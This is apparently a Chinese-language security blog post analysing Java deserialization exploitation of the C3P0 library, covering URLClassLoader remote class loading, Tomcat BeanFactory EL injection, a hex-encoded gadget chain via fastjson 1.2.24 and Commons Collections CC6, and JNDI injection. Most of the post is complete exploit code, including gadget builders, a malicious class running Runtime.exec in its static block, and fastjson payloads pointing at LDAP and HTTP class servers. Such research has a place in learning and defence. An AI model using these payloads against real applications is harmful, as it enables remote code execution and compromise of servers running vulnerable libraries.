JavaSec - C3P0反序列化利用
C3P0是一个开源的JDBC连接池库,它实现了数据源和JNDI绑定功能,支持JDBC3规范和JDBC2的标准扩展,通常用于需要频繁访问数据库的Java应用程序中
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- 本地类加载依赖-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
</dependencies>
URLClassLoader远程类加载
PoolBackedDataSourceBase.readObject()
→ ReferenceIndirector$ReferenceSerialized.getObject()
→ ReferenceableUtils.referenceToObject()
→ URLClassLoader加载远程类
关注到PoolBackedDataSourceBase.readObject(),它将o强制转换为IndirectlySerialized的对象并调用了其getobject方法

IndirectlySerialized实接口继承了序列化,其只有一个实现类`ReferenceSerialized`
这里有个lookup,想看看能不能用来打JNDI,但contextname不是很能控制,没有方法可以设置这个值

referenceToObject调用URLCLassLoader加载类

那么链子不复杂,主要是exp的构造
我们需要构造一个ReferenceSerialized对象传入ref,而ReferenceSerialized的构造方法在indirectForm方法中调用

indirectForm在PoolBackedDataSourceBase的writeobject中被调用,第一个try会因为connectionPoolDataSource没有继承tSerializable而进入第二个try触发indirectForm

再看到indirectForm方法的ref来自参数对象的getReference方法,那么手搓一个实现了_Referenceable_和_ConnectionPoolDataSource_接口的类,将它writeobject触发ReferenceSerialized构造方法,便可方便的将ref属性写入
再看到上面的截图,fClassName和fClassLocation属性是从ref的FactoryClassName和FactoryLocation拿到的,所以我们将getReferance方法重写为直接返回一个新的Referance对象即可,属性改为python起的文件服务器即可
EXP
package com.orxiain;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.sql.DataSource;
import java.io.*;
public class C3P0000 {
public static class C3P0001 implements Referenceable, ConnectionPoolDataSource {
@Override
public Reference getReference() throws NamingException {
return new Reference("com.orxiain.clac", "com.orxiain.calc","http://127.0.0.1:18080/");
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
public static ByteArrayOutputStream unSerial(Object obj) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(obj);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
public static void setFiled(Object o, String fieldname, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
public static void main(String[] args) throws Exception {
C3P0001 c3P0001 = new C3P0001();
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
setFiled(poolBackedDataSourceBase, "connectionPoolDataSource", c3P0001);
unSerial(poolBackedDataSourceBase);
}
}
然后我们准备一个calc类,在静态代码块执行弹计算器
package com.orxiain;
public class calc {
static {
try {
Runtime.getRuntime().exec("xcalc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译成class,运行`mkdir -p ./com/orxiain/`,将clac.class移动到创建的目录下,python起文件服务器

用urlclassloader不走rmi和ldap,感觉适用范围还是挺广的
Links
https://tttang.com/archive/1886/
BeanFactory本地类加载
需要tomcat依赖,基本上就是上面的URLClassLoader的链子,我们使用ResourceRef(是Reference的子类)实现,指定实现类为javax.el.ELProcessor,直接指定工厂类org.apache.naming.factory.BeanFactory,forceString=faster=eval:这告诉BeanFactory将”faster”属性强制绑定到”eval”方法
想试试使用Reference实现而不是ResourceRef,但好像不太可行,大概是ResourceRef有些什么特性
EXP
package com.orxiain;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import java.io.*;
public class C3P0Tomcat {
public static class C3P0Tomcat_ implements Referenceable, ConnectionPoolDataSource {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
public static ByteArrayOutputStream unSerial(Object obj) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(obj);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
public static void setFiled(Object o, String fieldname, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
C3P0Tomcat_ c3P0001 = new C3P0Tomcat_();
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
setFiled(poolBackedDataSourceBase, "connectionPoolDataSource", c3P0001);
unSerial(poolBackedDataSourceBase);
}
}
HEX序列化字节加载器攻击
不出网怎么办?得想办法加载类打内存马,但是这个HEX链子只是个二次反序列化的中间过程,不是从readobject开始的,之前需要触发WrapperConnectionPoolDataSource的构造方法,之后需要结合CC等链子进一步利用
...
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
...(这里又调用了readobject,接其他链子)
先来看向我们想利用的readobject在的方法

deserializeFromByteArray方法被SerializableUtils的fromByteArray调用,将得到的字节数组传入这个方法当中,而fromByteArray被C3P0ImplUtils#parseUserOverridesAsString调用,传入的serBytes属性在该方法内进行了一些处理⬇️

它将传入的userOverridesAsString字符串,将开头的`"HexAsciiSerializedMap"`和末尾`;`去掉,_fromHexAscii_方法将hex数据处理return回了bytes数组赋值给serBytes。再看到WrapperConnectionPoolDataSource的构造方法⬇️

这里的`this.getUserOverridesAsString()`返回了userOverridesAsStrings属性,那么这个属性用来放处理后的恶意序列化字符串的hex字节码即可
为了触发WrapperConnectionPoolDataSource的构造方法,一个比较简单的入口点是fastjson,我们指定@type属性为WrapperConnectionPoolDataSource,同时指定userOverridesAsString即可,成熟的fastjson会自己调用setter💖
EXP
这里以打CC6为例,进行ascii转hex的函数从源代码拿就行
package com.orxiain;
import com.alibaba.fastjson.JSON;
import java.io.*;
import com.orxiain.CC6;
import static com.mchange.lang.ByteUtils.*;
public class C3P0HEX {
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws Exception {
String hex;
// FileInputStream fis = new FileInputStream("cc6_calc");
// byte[] payloadBytes = new byte[fis.available()];
// fis.read(payloadBytes);
// fis.close();
ByteArrayInputStream bio = new ByteArrayInputStream(CC6.GetPayload("xcalc"));
byte[] payloadBytes = new byte[bio.available()];
bio.read(payloadBytes);
bio.close();
hex = toHexAscii(payloadBytes);
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
System.out.println(payload);
JSON.parse(payload);
}
}
我把之前CC6的链子加了个return返回比特数组,方便调用
package com.orxiain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static byte[] GetPayload(String execshell) throws Exception {
byte[] payload;
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{execshell}),
new ConstantTransformer(1),// 隐藏错误信息
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
// HashMap map = new HashMap();
// map.put(key, "value");
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashSet);
oos.close();
return bos.toByteArray();
}
}

关于fastjosn的payload,好像下面两种都可以⬇️,我用fastjosn1.2.24版本复现,第一种支持到1.2.47之前,在1.2.24之后的版本需要预先加载类(也就是payload1中的两个步骤),之前的版本较为宽松


JNDI攻击
... ->
JndiRefConnectionPoolDataSource#setLoginTimeout ->
WrapperConnectionPoolDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
省略调用链,我们先来看看lookup触发点

jndiName是个对象,在进行lookup的时候强制转换为了String,它是通过父类的getJndiName返回的,构造方法里无法控制,但是有个setter,那么这个工作可以交给fastjson了⬇️

再来看一下这个setter的逻辑,它将当前的jndiName赋给了oldVal,调用了eqOrBothNull判断这两个是否相等和时候同时为nul,如果不相等就会触发属性变更监听器,不太重要,重点是中间的,如果 jndiName 是 Name 类型的对象,则调用 clone 方法进行克隆,以避免外部修改影响内部状态,如果 jndiName 不是 Name 类型的对象,则直接赋值,总之让fastjson干这个活就好
构造之后一跑,没出来,还有条件没有满足,才想起来setLoginTimeout这个setter得被调用,所以必须要设置LoginTimeout这个属性才能让fastjson去干这个活,总的来说这个链子还是比较简单的
package com.orxiain;
import com.alibaba.fastjson.JSON;
public class C3P0JNDI {
public static void main(String[] args) throws Exception {
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:43983\"," +
"\"LoginTimeout\":\"0\"," +
"}";
JSON.parse(payload);
}
}
Links
https://y4er.com/posts/java-expression-injection/
例题 https://www.cnblogs.com/EddieMurphy-blogs/p/18160178 可恶找不到附件